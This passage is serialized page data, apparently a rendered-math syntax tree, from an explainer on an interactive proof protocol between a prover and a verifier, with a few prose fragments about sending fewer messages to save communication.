props":120700,"children":120702},{"className":120701},[15299],[120703],{"type":23,"tag":75,"props":120704,"children":120706},{"className":120705},[15304,32857],[120707,120736],{"type":23,"tag":75,"props":120708,"children":120710},{"className":120709},[15309],[120711,120731],{"type":23,"tag":75,"props":120712,"children":120714},{"className":120713,"style":103911},[15314],[120715],{"type":23,"tag":75,"props":120716,"children":120717},{"style":103915},[120718,120722],{"type":23,"tag":75,"props":120719,"children":120721},{"className":120720,"style":15324},[15323],[],{"type":23,"tag":75,"props":120723,"children":120725},{"className":120724},[15329,15330,15331,15332],[120726],{"type":23,"tag":75,"props":120727,"children":120729},{"className":120728},[15284,32803,15332],[120730],{"type":29,"value":12935},{"type":23,"tag":75,"props":120732,"children":120734},{"className":120733},[32960],[120735],{"type":29,"value":32963},{"type":23,"tag":75,"props":120737,"children":120739},{"className":120738},[15309],[120740],{"type":23,"tag":75,"props":120741,"children":120743},{"className":120742,"style":103465},[15314],[120744],{"type":23,"tag":75,"props":120745,"children":120746},{},[],{"type":23,"tag":75,"props":120748,"children":120750},{"className":120749},[32932],[120751],{"type":29,"value":643},{"type":23,"tag":75,"props":120753,"children":120755},{"className":120754},[15284],[120756],{"type":29,"value":7867},{"type":23,"tag":75,"props":120758,"children":120760},{"className":120759},[32954],[120761],{"type":29,"value":1347},{"type":23,"tag":75,"props":120763,"children":120765},{"className":120764,"style":15461},[15363],[],{"type":23,"tag":75,"props":120767,"children":120769},{"className":120768},[15466],[120770],{"type":29,"value":212},{"type":23,"tag":75,"props":120772,"children":120774},{"className":120773,"style":15461},[15363],[],{"type":23,"tag":75,"props":120776,"children":120778},{"className":120777},[15273],[120779,120784],{"type":23,"tag":75,"props":120780,"children":120783},{"className":120781,"style":120782},[15278],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":75,"props":120785,"children":120787},{"className":120786},[15284],[120788,120793],{"type":23,"tag":75,"props":120789,"children":120791},{"className":120790,"style":103616},[15284,32803],[120792],{"type":29,"value":103619},{"type":23,"tag":75,"props":120794,"children":120796},{"className":120795},[15299],[120797],{"type":23,"tag":75,"props":120798,"children":120800},{"className":120799},[15304,32857],[120801,120845],{"type":23,"tag":75,"props":120802,"children":120804},{"className":120803},[15309],[120805,120840],{"type":23,"tag":75,"props":120806,"children":120808},{"className":120807,"style":103911},[15314],[120809],{"type":23,"tag":75,"props":120810,"children":120812},{"style":120811},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[120813,120817],{"type":23,"tag":75,"props":120814,"children":120816},{"className":120815,"style":15324},[15323],[],{"type":23,"tag":75,"props":120818,"children":120820},{"className":120819},[15329,15330,15331,15332],[120821],{"type":23,"tag":75,"props":120822,"children":120824},{"className":120823},[15284,15332],[120825,120830,120835],{"type":23,"tag":75,"props":120826,"children":120828},{"className":120827},[15284,32803,15332],[120829],{"type":29,"value":12935},{"type":23,"tag":75,"props":120831,"children":120833},{"className":120832},[15369,15332],[120834],{"type":29,"value":15343},{"type":23,"tag":75,"props":120836,"children":120838},{"className":120837},[15284,15332],[120839],{"type":29,"value":7867},{"type":23,"tag":75,"props":120841,"children":120843},{"className":120842},[32960],[120844],{"type":29,"value":32963},{"type":23,"tag":75,"props":120846,"children":120848},{"className":120847},[15309],[120849],{"type":23,"tag":75,"props":120850,"children":120853},{"className":120851,"style":120852},[15314],"height:0.2083em;",[120854],{"type":23,"tag":75,"props":120855,"children":120856},{},[],{"type":29,"value":120858}," (the previous claim), we have:",{"type":23,"tag":32,"props":120860,"children":120861},{},[120862],{"type":23,"tag":71,"props":120863,"children":120865},{"className":120864},[15256,15257],[120866],{"type":23,"tag":75,"props":120867,"children":120869},{"className":120868},[15262],[120870],{"type":23,"tag":75,"props":120871,"children":120873},{"className":120872,"ariaHidden":15268},[15267],[120874,120900,120931,120962,121063,121089,121181],{"type":23,"tag":75,"props":120875,"children":120877},{"className":120876},[15273],[120878,120882,120887,120891,120896],{"type":23,"tag":75,"props":120879,"children":120881},{"className":120880,"style":120537},[15278],[],{"type":23,"tag":75,"props":120883,"children":120885},{"className":120884},[15284,32803],[120886],{"type":29,"value":940},{"type":23,"tag":75,"props":120888,"children":120890},{"className":120889,"style":15364},[15363],[],{"type":23,"tag":75,"props":120892,"children":120894},{"className":120893},[15369],[120895],{"type":29,"value":7862},{"type":23,"tag":75,"props":120897,"children":120899},{"className":120898,"style":15364},[15363],[],{"type":23,"tag":75,"props":120901,"children":120903},{"className":120902},[15273],[120904,120908,120913,120918,120922,120927],{"type":23,"tag":75,"props":120905,"children":120907},{"className":120906,"style":15384},[15278],[],{"type":23,"tag":75,"props":120909,"children":120911},{"className":120910},[32932],[120912],{"type":29,"value":643},{"type":23,"tag":75,"props":120914,"children":120916},{"className":120915},[15284,32803],[120917],{"type":29,"value":940},{"type":23,"tag":75,"props":120919,"children":120921},{"className":120920,"style":15364},[15363],[],{"type":23,"tag":75,"props":120923,"children":120925},{"className":120924},[15369],[120926],{"type":29,"value":7862},{"type":23,"tag":75,"props":120928,"children":120930},{"className":120929,"style":15364},[15363],[],{"type":23,"tag":75,"props":120932,"children":120934},{"className":120933},[15273],[120935,120939,120944,120949,120953,120958],{"type":23,"tag":75,"props":120936,"children":120938},{"className":120937,"style":15384},[15278],[],{"type":23,"tag":75,"props":120940,"children":120942},{"className":120941},[15284,32803],[120943],{"type":29,"value":14507},{"type":23,"tag":75,"props":120945,"children":120947},{"className":120946},[32954],[120948],{"type":29,"value":1347},{"type":23,"tag":75,"props":120950,"children":120952},{"className":120951,"style":15461},[15363],[],{"type":23,"tag":75,"props":120954,"children":120956},{"className":120955},[15466],[120957],{"type":29,"value":212},{"type":23,"tag":75,"props":120959,"children":120961},{"className":120960,"style":15461},[15363],[],{"type":23,"tag":75,"props":120963,"children":120965},{"className":120964},[15273],[120966,120970,121041,121045,121049,121055,121059],{"type":23,"tag":75,"props":120967,"children":120969},{"className":120968,"style":120782},[15278],[],{"type":23,"tag":75,"props":120971,"children":120973},{"className":120972},[15284],[120974,120979],{"type":23,"tag":75,"props":120975,"children":120977},{"className":120976,"style":103616},[15284,32803],[120978],{"type":29,"value":103619},{"type":23,"tag":75,"props":120980,"children":120982},{"className":120981},[15299],[120983],{"type":23,"tag":75,"props":120984,"children":120986},{"className":120985},[15304,32857],[120987,121030],{"type":23,"tag":75,"props":120988,"children":120990},{"className":120989},[15309],[120991,121025],{"type":23,"tag":75,"props":120992,"children":120994},{"className":120993,"style":103911},[15314],[120995],{"type":23,"tag":75,"props":120996,"children":120997},{"style":120811},[120998,121002],{"type":23,"tag":75,"props":120999,"children":121001},{"className":121000,"style":15324},[15323],[],{"type":23,"tag":75,"props":121003,"children":121005},{"className":121004},[15329,15330,15331,15332],[121006],{"type":23,"tag":75,"props":121007,"children":121009},{"className":121008},[15284,15332],[121010,121015,121020],{"type":23,"tag":75,"props":121011,"children":121013},{"className":121012},[15284,32803,15332],[121014],{"type":29,"value":12935},{"type":23,"tag":75,"props":121016,"children":121018},{"className":121017},[15369,15332],[121019],{"type":29,"value":15343},{"type":23,"tag":75,"props":121021,"children":121023},{"className":121022},[15284,15332],[121024],{"type":29,"value":7867},{"type":23,"tag":75,"props":121026,"children":121028},{"className":121027},[32960],[121029],{"type":29,"value":32963},{"type":23,"tag":75,"props":121031,"children":121033},{"className":121032},[15309],[121034],{"type":23,"tag":75,"props":121035,"children":121037},{"className":121036,"style":120852},[15314],[121038],{"type":23,"tag":75,"props":121039,"children":121040},{},[],{"type":23,"tag":75,"props":121042,"children":121044},{"className":121043,"style":15461},[15363],[],{"type":23,"tag":75,"props":121046,"children":121048},{"className":121047,"style":15461},[15363],[],{"type":23,"tag":75,"props":121050,"children":121052},{"className":121051},[15466],[121053],{"type":29,"value":121054},"⟹",{"type":23,"tag":75,"props":121056,"children":121058},{"className":121057,"style":15461},[15363],[],{"type":23,"tag":75,"props":121060,"children":121062},{"className":121061,"style":15461},[15363],[],{"type":23,"tag":75,"props":121064,"children":121066},{"className":121065},[15273],[121067,121071,121076,121080,121085],{"type":23,"tag":75,"props":121068,"children":121070},{"className":121069,"style":103297},[15278],[],{"type":23,"tag":75,"props":121072,"children":121074},{"className":121073},[15284,32803],[121075],{"type":29,"value":14507},{"type":23,"tag":75,"props":121077,"children":121079},{"className":121078,"style":15461},[15363],[],{"type":23,"tag":75,"props":121081,"children":121083},{"className":121082},[15466],[121084],{"type":29,"value":212},{"type":23,"tag":75,"props":121086,"children":121088},{"className":121087,"style":15461},[15363],[],{"type":23,"tag":75,"props":121090,"children":121092},{"className":121091},[15273],[121093,121097,121168,121172,121177],{"type":23,"tag":75,"props":121094,"children":121096},{"className":121095,"style":120782},[15278],[],{"type":23,"tag":75,"props":121098,"children":121100},{"className":121099},[15284],[121101,121106],{"type":23,"tag":75,"props":121102,"children":121104},{"className":121103,"style":103616},[15284,32803],[121105],{"type":29,"value":103619},{"type":23,"tag":75,"props":121107,"children":121109},{"className":121108},[15299],[121110],{"type":23,"tag":75,"props":121111,"children":121113},{"className":121112},[15304,32857],[121114,121157],{"type":23,"tag":75,"props":121115,"children":121117},{"className":121116},[15309],[121118,121152],{"type":23,"tag":75,"props":121119,"children":121121},{"className":121120,"style":103911},[15314],[121122],{"type":23,"tag":75,"props":121123,"children":121124},{"style":120811},[121125,121129],{"type":23,"tag":75,"props":121126,"children":121128},{"className":121127,"style":15324},[15323],[],{"type":23,"tag":75,"props":121130,"children":121132},{"className":121131},[15329,15330,15331,15332],[121133],{"type":23,"tag":75,"props":121134,"children":121136},{"className":121135},[15284,15332],[121137,121142,121147],{"type":23,"tag":75,"props":121138,"children":121140},{"className":121139},[15284,32803,15332],[121141],{"type":29,"value":12935},{"type":23,"tag":75,"props":121143,"children":121145},{"className":121144},[15369,15332],[121146],{"type":29,"value":15343},{"type":23,"tag":75,"props":121148,"children":121150},{"className":121149},[15284,15332],[121151],{"type":29,"value":7867},{"type":23,"tag":75,"props":121153,"children":121155},{"className":121154},[32960],[121156],{"type":29,"value":32963},{"type":23,"tag":75,"props":121158,"children":121160},{"className":121159},[15309],[121161],{"type":23,"tag":75,"props":121162,"children":121164},{"className":121163,"style":120852},[15314],[121165],{"type":23,"tag":75,"props":121166,"children":121167},{},[],{"type":23,"tag":75,"props":121169,"children":121171},{"className":121170,"style":15364},[15363],[],{"type":23,"tag":75,"props":121173,"children":121175},{"className":121174},[15369],[121176],{"type":29,"value":15343},{"type":23,"tag":75,"props":121178,"children":121180},{"className":121179,"style":15364},[15363],[],{"type":23,"tag":75,"props":121182,"children":121184},{"className":121183},[15273],[121185,121189,121194],{"type":23,"tag":75,"props":121186,"children":121188},{"className":121187,"style":104413},[15278],[],{"type":23,"tag":75,"props":121190,"children":121192},{"className":121191},[15284],[121193],{"type":29,"value":14409},{"type":23,"tag":75,"props":121195,"children":121197},{"className":121196},[15284,32803],[121198],{"type":29,"value":940},{"type":23,"tag":32,"props":121200,"children":121201},{},[121202,121204,121323,121325,121350],{"type":29,"value":121203},"So the prover only sends ",{"type":23,"tag":71,"props":121205,"children":121207},{"className":121206},[15256,15257],[121208],{"type":23,"tag":75,"props":121209,"children":121211},{"className":121210},[15262],[121212],{"type":23,"tag":75,"props":121213,"children":121215},{"className":121214,"ariaHidden":15268},[15267],[121216,121243],{"type":23,"tag":75,"props":121217,"children":121219},{"className":121218},[15273],[121220,121225,121230,121234,121239],{"type":23,"tag":75,"props":121221,"children":121224},{"className":121222,"style":121223},[15278],"height:0.4306em;",[],{"type":23,"tag":75,"props":121226,"children":121228},{"className":121227},[15284,32803],[121229],{"type":29,"value":940},{"type":23,"tag":75,"props":121231,"children":121233},{"className":121232,"style":15461},[15363],[],{"type":23,"tag":75,"props":121235,"children":121237},{"className":121236},[15466],[121238],{"type":29,"value":212},{"type":23,"tag":75,"props":121240,"children":121242},{"className":121241,"style":15461},[15363],[],{"type":23,"tag":75,"props":121244,"children":121246},{"className":121245},[15273],[121247,121251,121308,121313,121318],{"type":23,"tag":75,"props":121248,"children":121250},{"className":121249,"style":15384},[15278],[],{"type":23,"tag":75,"props":121252,"children":121254},{"className":121253},[15284],[121255,121260],{"type":23,"tag":75,"props":121256,"children":121258},{"className":121257,"style":103868},[15284,32803],[121259],{"type":29,"value":119633},{"type":23,"tag":75,"props":121261,"children":121263},{"className":121262},[15299],[121264],{"type":23,"tag":75,"props":121265,"children":121267},{"className":121266},[15304,32857],[121268,121297],{"type":23,"tag":75,"props":121269,"children":121271},{"className":121270},[15309],[121272,121292],{"type":23,"tag":75,"props":121273,"children":121275},{"className":121274,"style":103911},[15314],[121276],{"type":23,"tag":75,"props":121277,"children":121278},{"style":103915},[121279,121283],{"type":23,"tag":75,"props":121280,"children":121282},{"className":121281,"style":15324},[15323],[],{"type":23,"tag":75,"props":121284,"children":121286},{"className":121285},[15329,15330,15331,15332],[121287],{"type":23,"tag":75,"props":121288,"children":121290},{"className":121289},[15284,32803,15332],[121291],{"type":29,"value":12935},{"type":23,"tag":75,"props":121293,"children":121295},{"className":121294},[32960],[121296],{"type":29,"value":32963},{"type":23,"tag":75,"props":121298,"children":121300},{"className":121299},[15309],[121301],{"type":23,"tag":75,"props":121302,"children":121304},{"className":121303,"style":103465},[15314],[121305],{"type":23,"tag":75,"props":121306,"children":121307},{},[],{"type":23,"tag":75,"props":121309,"children":121311},{"className":121310},[32932],[121312],{"type":29,"value":643},{"type":23,"tag":75,"props":121314,"children":121316},{"className":121315},[15284],[121317],{"type":29,"value":648},{"type":23,"tag":75,"props":121319,"children":121321},{"className":121320},[32954],[121322],{"type":29,"value":1347},{"type":29,"value":121324},", and the verifier recovers ",{"type":23,"tag":71,"props":121326,"children":121328},{"className":121327},[15256,15257],[121329],{"type":23,"tag":75,"props":121330,"children":121332},{"className":121331},[15262],[121333],{"type":23,"tag":75,"props":121334,"children":121336},{"className":121335,"ariaHidden":15268},[15267],[121337],{"type":23,"tag":75,"props":121338,"children":121340},{"className":121339},[15273],[121341,121345],{"type":23,"tag":75,"props":121342,"children":121344},{"className":121343,"style":103297},[15278],[],{"type":23,"tag":75,"props":121346,"children":121348},{"className":121347},[15284,32803],[121349],{"type":29,"value":14507},{"type":29,"value":121351},". This saves 50% on communication costs.",{"type":23,"tag":32,"props":121353,"children":121354},{},[121355],{"type":29,"value":121356},"The next claim in the chain is",{"type":23,"tag":32,"props":121358,"children":121359},{},[121360],{"type":23,"tag":71,"props":121361,"children":121363},{"className":121362},[15256,15257],[121364],{"type":23,"tag":75,"props":121365,"children":121367},{"className":121366},[15262],[121368],{"type":23,"tag":75,"props":121369,"children":121371},{"className":121370,"ariaHidden":15268},[15267],[121372,121451,121596,121622,121649,121727,121753,121850,121886,121964,122000,122088,122180],{"type":23,"tag":75,"props":121373,"children":121375},{"className":121374},[15273],[121376,121381,121438,121442,121447],{"type":23,"tag":75,"props":121377,"children":121380},{"className":121378,"style":121379},[15278],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":75,"props":121382,"children":121384},{"className":121383},[15284],[121385,121390],{"type":23,"tag":75,"props":121386,"children":121388},{"className":121387,"style":103616},[15284,32803],[121389],{"type":29,"value":103619},{"type":23,"tag":75,"props":121391,"children":121393},{"className":121392},[15299],[121394],{"type":23,"tag":75,"props":121395,"children":121397},{"className":121396},[15304,32857],[121398,121427],{"type":23,"tag":75,"props":121399,"children":121401},{"className":121400},[15309],[121402,121422],{"type":23,"tag":75,"props":121403,"children":121405},{"className":121404,"style":103911},[15314],[121406],{"type":23,"tag":75,"props":121407,"children":121408},{"style":120811},[121409,121413],{"type":23,"tag":75,"props":121410,"children":121412},{"className":121411,"style":15324},[15323],[],{"type":23,"tag":75,"props":121414,"children":121416},{"className":121415},[15329,15330,15331,15332],[121417],{"type":23,"tag":75,"props":121418,"children":121420},{"className":121419},[15284,32803,15332],[121421],{"type":29,"value":12935},{"type":23,"tag":75,"props":121423,"children":121425},{"className":121424},[32960],[121426],{"type":29,"value":32963},{"type":23,"tag":75,"props":121428,"children":121430},{"className":121429},[15309],[121431],{"type":23,"tag":75,"props":121432,"children":121434},{"className":121433,"style":103465},[15314],[121435],{"type":23,"tag":75,"props":121436,"children":121437},{},[],{"type":23,"tag":75,"props":121439,"children":121441},{"className":121440,"style":15461},[15363],[],{"type":23,"tag":75,"props":121443,"children":121445},{"className":121444},[15466],[121446],{"type":29,"value":212},{"type":23,"tag":75,"props":121448,"children":121450},{"className":121449,"style":15461},[15363],[],{"type":23,"tag":75,"props":121452,"children":121454},{"className":121453},[15273],[121455,121459,121516,121521,121578,121583,121587,121592],{"type":23,"tag":75,"props":121456,"children":121458},{"className":121457,"style":15384},[15278],[],{"type":23,"tag":75,"props":121460,"children":121462},{"className":121461},[15284],[121463,121468],{"type":23,"tag":75,"props":121464,"children":121466},{"className":121465,"style":103868},[15284,32803],[121467],{"type":29,"value":119633},{"type":23,"tag":75,"props":121469,"children":121471},{"className":121470},[15299],[121472],{"type":23,"tag":75,"props":121473,"children":121475},{"className":121474},[15304,32857],[121476,121505],{"type":23,"tag":75,"props":121477,"children":121479},{"className":121478},[15309],[121480,121500],{"type":23,"tag":75,"props":121481,"children":121483},{"className":121482,"style":103911},[15314],[121484],{"type":23,"tag":75,"props":121485,"children":121486},{"style":103915},[121487,121491],{"type":23,"tag":75,"props":121488,"children":121490},{"className":121489,"style":15324},[15323],[],{"type":23,"tag":75,"props":121492,"children":121494},{"className":121493},[15329,15330,15331,15332],[121495],{"type":23,"tag":75,"props":121496,"children":121498},{"className":121497},[15284,32803,15332],[121499],{"type":29,"value":12935},{"type":23,"tag":75,"props":121501,"children":121503},{"className":121502},[32960],[121504],{"type":29,"value":32963},{"type":23,"tag":75,"props":121506,"children":121508},{"className":121507},[15309],[121509],{"type":23,"tag":75,"props":121510,"children":121512},{"className":121511,"style":103465},[15314],[121513],{"type":23,"tag":75,"props":121514,"children":121515},{},[],{"type":23,"tag":75,"props":121517,"children":121519},{"className":121518},[32932],[121520],{"type":29,"value":643},{"type":23,"tag":75,"props":121522,"children":121524},{"className":121523},[15284],[121525,121530],{"type":23,"tag":75,"props":121526,"children":121528},{"className":121527,"style":103382},[15284,32803],[121529],{"type":29,"value":104201},{"type":23,"tag":75,"props":121531,"children":121533},{"className":121532},[15299],[121534],{"type":23,"tag":75,"props":121535,"children":121537},{"className":121536},[15304,32857],[121538,121567],{"type":23,"tag":75,"props":121539,"children":121541},{"className":121540},[15309],[121542,121562],{"type":23,"tag":75,"props":121543,"children":121545},{"className":121544,"style":103911},[15314],[121546],{"type":23,"tag":75,"props":121547,"children":121548},{"style":120381},[121549,121553],{"type":23,"tag":75,"props":121550,"children":121552},{"className":121551,"style":15324},[15323],[],{"type":23,"tag":75,"props":121554,"children":121556},{"className":121555},[15329,15330,15331,15332],[121557],{"type":23,"tag":75,"props":121558,"children":121560},{"className":121559},[15284,32803,15332],[121561],{"type":29,"value":12935},{"type":23,"tag":75,"props":121563,"children":121565},{"className":121564},[32960],[121566],{"type":29,"value":32963},{"type":23,"tag":75,"props":121568,"children":121570},{"className":121569},[15309],[121571],{"type":23,"tag":75,"props":121572,"children":121574},{"className":121573,"style":103465},[15314],[121575],{"type":23,"tag":75,"props":121576,"children":121577},{},[],{"type":23,"tag":75,"props":121579,"children":121581},{"className":121580},[32954],[121582],{"type":29,"value":1347},{"type":23,"tag":75,"props":121584,"children":121586},{"className":121585,"style":15461},[15363],[],{"type":23,"tag":75,"props":121588,"children":121590},{"className":121589},[15466],[121591],{"type":29,"value":212},{"type":23,"tag":75,"props":121593,"children":121595},{"className":121594,"style":15461},[15363],[],{"type":23,"tag":75,"props":121597,"children":121599},{"className":121598},[15273],[121600,121604,121609,121613,121618],{"type":23,"tag":75,"props":121601,"children":121603},{"className":121602,"style":120537},[15278],[],{"type":23,"tag":75,"props":121605,"children":121607},{"className":121606},[15284,32803],[121608],{"type":29,"value":940},{"type":23,"tag":75,"props":121610,"children":121612},{"className":121611,"style":15364},[15363],[],{"type":23,"tag":75,"props":121614,"children":121616},{"className":121615},[15369],[121617],{"type":29,"value":7862},{"type":23,"tag":75,"props":121619,"children":121621},{"className":121620,"style":15364},[15363],[],{"type":23,"tag":75,"props":121623,"children":121625},{"className":121624},[15273],[121626,121630,121635,121639,121645],{"type":23,"tag":75,"props":121627,"children":121629},{"className":121628,"style":103297},[15278],[],{"type":23,"tag":75,"props":121631,"children":121633},{"className":121632},[15284,32803],[121634],{"type":29,"value":14507},{"type":23,"tag":75,"props":121636,"children":121638},{"className":121637,"style":15364},[15363],[],{"type":23,"tag":75,"props":121640,"children":121642},{"className":121641},[15369],[121643],{"type":29,"value":121644},"⋅",{"type":23,"tag":75,"props":121646,"children":121648},{"className":121647,"style":15364},[15363],[],{"type":23,"tag":75,"props":121650,"children":121652},{"className":121651},[15273],[121653,121657,121714,121718,121723],{"type":23,"tag":75,"props":121654,"children":121656},{"className":121655,"style":120352},[15278],[],{"type":23,"tag":75,"props":121658,"children":121660},{"className":121659},[15284],[121661,121666],{"type":23,"tag":75,"props":121662,"children":121664},{"className":121663,"style":103382},[15284,32803],[121665],{"type":29,"value":104201},{"type":23,"tag":75,"props":121667,"children":121669},{"className":121668},[15299],[121670],{"type":23,"tag":75,"props":121671,"children":121673},{"className":121672},[15304,32857],[121674,121703],{"type":23,"tag":75,"props":121675,"children":121677},{"className":121676},[15309],[121678,121698],{"type":23,"tag":75,"props":121679,"children":121681},{"className":121680,"style":103911},[15314],[121682],{"type":23,"tag":75,"props":121683,"children":121684},{"style":120381},[121685,121689],{"type":23,"tag":75,"props":121686,"children":121688},{"className":121687,"style":15324},[15323],[],{"type":23,"tag":75,"props":121690,"children":121692},{"className":121691},[15329,15330,15331,15332],[121693],{"type":23,"tag":75,"props":121694,"children":121696},{"className":121695},[15284,32803,15332],[121697],{"type":29,"value":12935},{"type":23,"tag":75,"props":121699,"children":121701},{"className":121700},[32960],[121702],{"type":29,"value":32963},{"type":23,"tag":75,"props":121704,"children":121706},{"className":121705},[15309],[121707],{"type":23,"tag":75,"props":121708,"children":121710},{"className":121709,"style":103465},[15314],[121711],{"type":23,"tag":75,"props":121712,"children":121713},{},[],{"type":23,"tag":75,"props":121715,"children":121717},{"className":121716,"style":15461},[15363],[],{"type":23,"tag":75,"props":121719,"children":121721},{"className":121720},[15466],[121722],{"type":29,"value":212},{"type":23,"tag":75,"props":121724,"children":121726},{"className":121725,"style":15461},[15363],[],{"type":23,"tag":75,"props":121728,"children":121730},{"className":121729},[15273],[121731,121735,121740,121744,121749],{"type":23,"tag":75,"props":121732,"children":121734},{"className":121733,"style":120537},[15278],[],{"type":23,"tag":75,"props":121736,"children":121738},{"className":121737},[15284,32803],[121739],{"type":29,"value":940},{"type":23,"tag":75,"props":121741,"children":121743},{"className":121742,"style":15364},[15363],[],{"type":23,"tag":75,"props":121745,"children":121747},{"className":121746},[15369],[121748],{"type":29,"value":7862},{"type":23,"tag":75,"props":121750,"children":121752},{"className":121751,"style":15364},[15363],[],{"type":23,"tag":75,"props":121754,"children":121756},{"className":121755},[15273],[121757,121761,121766,121837,121841,121846],{"type":23,"tag":75,"props":121758,"children":121760},{"className":121759,"style":15384},[15278],[],{"type":23,"tag":75,"props":121762,"children":121764},{"className":121763},[32932],[121765],{"type":29,"value":643},{"type":23,"tag":75,"props":121767,"children":121769},{"className":121768},[15284],[121770,121775],{"type":23,"tag":75,"props":121771,"children":121773},{"className":121772,"style":103616},[15284,32803],[121774],{"type":29,"value":103619},{"type":23,"tag":75,"props":121776,"children":121778},{"className":121777},[15299],[121779],{"type":23,"tag":75,"props":121780,"children":121782},{"className":121781},[15304,32857],[121783,121826],{"type":23,"tag":75,"props":121784,"children":121786},{"className":121785},[15309],[121787,121821],{"type":23,"tag":75,"props":121788,"children":121790},{"className":121789,"style":103911},[15314],[121791],{"type":23,"tag":75,"props":121792,"children":121793},{"style":120811},[121794,121798],{"type":23,"tag":75,"props":121795,"children":121797},{"className":121796,"style":15324},[15323],[],{"type":23,"tag":75,"props":121799,"children":121801},{"className":121800},[15329,15330,15331,15332],[121802],{"type":23,"tag":75,"props":121803,"children":121805},{"className":121804},[15284,15332],[121806,121811,121816],{"type":23,"tag":75,"props":121807,"children":121809},{"className":121808},[15284,32803,15332],[121810],{"type":29,"value":12935},{"type":23,"tag":75,"props":121812,"children":121814},{"className":121813},[15369,15332],[121815],{"type":29,"value":15343},{"type":23,"tag":75,"props":121817,"children":121819},{"className":121818},[15284,15332],[121820],{"type":29,"value":7867},{"type":23,"tag":75,"props":121822,"children":121824},{"className":121823},[32960],[121825],{"type":29,"value":32963},{"type":23,"tag":75,"props":121827,"children":121829},{"className":121828},[15309],[121830],{"type":23,"tag":75,"props":121831,"children":121833},{"className":121832,"style":120852},[15314],[121834],{"type":23,"tag":75,"props":121835,"children":121836},{},[],{"type":23,"tag":75,"props":121838,"children":121840},{"className":121839,"style":15364},[15363],[],{"type":23,"tag":75,"props":121842,"children":121844},{"className":121843},[15369],[121845],{"type":29,"value":15343},{"type":23,"tag":75,"props":121847,"children":121849},{"className":121848,"style":15364},[15363],[],{"type":23,"tag":75,"props":121851,"children":121853},{"className":121852},[15273],[121854,121858,121863,121868,121873,121877,121882],{"type":23,"tag":75,"props":121855,"children":121857},{"className":121856,"style":15384},[15278],[],{"type":23,"tag":75,"props":121859,"children":121861},{"className":121860},[15284],[121862],{"type":29,"value":14409},{"type":23,"tag":75,"props":121864,"children":121866},{"className":121865},[15284,32803],[121867],{"type":29,"value":940},{"type":23,"tag":75,"props":121869,"children":121871},{"className":121870},[32954],[121872],{"type":29,"value":1347},{"type":23,"tag":75,"props":121874,"children":121876},{"className":121875,"style":15364},[15363],[],{"type":23,"tag":75,"props":121878,"children":121880},{"className":121879},[15369],[121881],{"type":29,"value":121644},{"type":23,"tag":75,"props":121883,"children":121885},{"className":121884,"style":15364},[15363],[],{"type":23,"tag":75,"props":121887,"children":121889},{"className":121888},[15273],[121890,121894,121951,121955,121960],{"type":23,"tag":75,"props":121891,"children":121893},{"className":121892,"style":120352},[15278],[],{"type":23,"tag":75,"props":121895,"children":121897},{"className":121896},[15284],[121898,121903],{"type":23,"tag":75,"props":121899,"children":121901},{"className":121900,"style":103382},[15284,32803],[121902],{"type":29,"value":104201},{"type":23,"tag":75,"props":121904,"children":121906},{"className":121905},[15299],[121907],{"type":23,"tag":75,"props":121908,"children":121910},{"className":121909},[15304,32857],[121911,121940],{"type":23,"tag":75,"props":121912,"children":121914},{"className":121913},[15309],[121915,121935],{"type":23,"tag":75,"props":121916,"children":121918},{"className":121917,"style":103911},[15314],[121919],{"type":23,"tag":75,"props":121920,"children":121921},{"style":120381},[121922,121926],{"type":23,"tag":75,"props":121923,"children":121925},{"className":121924,"style":15324},[15323],[],{"type":23,"tag":75,"props":121927,"children":121929},{"className":121928},[15329,15330,15331,15332],[121930],{"type":23,"tag":75,"props":121931,"children":121933},{"className":121932},[15284,32803,15332],[121934],{"type":29,"value":12935},{"type":23,"tag":75,"props":121936,"children":121938},{"className":121937},[32960],[121939],{"type":29,"value":32963},{"type":23,"tag":75,"props":121941,"children":121943},{"className":121942},[15309],[121944],{"type":23,"tag":75,"props":121945,"children":121947},{"className":121946,"style":103465},[15314],[121948],{"type":23,"tag":75,"props":121949,"children":121950},{},[],{"type":23,"tag":75,"props":121952,"children":121954},{"className":121953,"style":15461},[15363],[],{"type":23,"tag":75,"props":121956,"children":121958},{"className":121957},[15466],[121959],{"type":29,"value":212},{"type":23,"tag":75,"props":121961,"children":121963},{"className":121962,"style":15461},[15363],[],{"type":23,"tag":75,"props":121965,"children":121967},{"className":121966},[15273],[121968,121972,121977,121982,121987,121991,121996],{"type":23,"tag":75,"props":121969,"children":121971},{"className":121970,"style":15384},[15278],[],{"type":23,"tag":75,"props":121973,"children":121975},{"className":121974},[15284,32803],[121976],{"type":29,"value":940},{"type":23,"tag":75,"props":121978,"children":121980},{"className":121979},[32932],[121981],{"type":29,"value":643},{"type":23,"tag":75,"props":121983,"children":121985},{"className":121984},[15284],[121986],{"type":29,"value":7867},{"type":23,"tag":75,"props":121988,"children":121990},{"className":121989,"style":15364},[15363],[],{"type":23,"tag":75,"props":121992,"children":121994},{"className":121993},[15369],[121995],{"type":29,"value":15343},{"type":23,"tag":75,"props":121997,"children":121999},{"className":121998,"style":15364},[15363],[],{"type":23,"tag":75,"props":122001,"children":122003},{"className":122002},[15273],[122004,122008,122013,122070,122075,122079,122084],{"type":23,"tag":75,"props":122005,"children":122007},{"className":122006,"style":15384},[15278],[],{"type":23,"tag":75,"props":122009,"children":122011},{"className":122010},[15284],[122012],{"type":29,"value":14409},{"type":23,"tag":75,"props":122014,"children":122016},{"className":122015},[15284],[122017,122022],{"type":23,"tag":75,"props":122018,"children":122020},{"className":122019,"style":103382},[15284,32803],[122021],{"type":29,"value":104201},{"type":23,"tag":75,"props":122023,"children":122025},{"className":122024},[15299],[122026],{"type":23,"tag":75,"props":122027,"children":122029},{"className":122028},[15304,32857],[122030,122059],{"type":23,"tag":75,"props":122031,"children":122033},{"className":122032},[15309],[122034,122054],{"type":23,"tag":75,"props":122035,"children":122037},{"className":122036,"style":103911},[15314],[122038],{"type":23,"tag":75,"props":122039,"children":122040},{"style":120381},[122041,122045],{"type":23,"tag":75,"props":122042,"children":122044},{"className":122043,"style":15324},[15323],[],{"type":23,"tag":75,"props":122046,"children":122048},{"className":122047},[15329,15330,15331,15332],[122049],{"type":23,"tag":75,"props":122050,"children":122052},{"className":122051},[15284,32803,15332],[122053],{"type":29,"value":12935},{"type":23,"tag":75,"props":122055,"children":122057},{"className":122056},[32960],[122058],{"type":29,"value":32963},{"type":23,"tag":75,"props":122060,"children":122062},{"className":122061},[15309],[122063],{"type":23,"tag":75,"props":122064,"children":122066},{"className":122065,"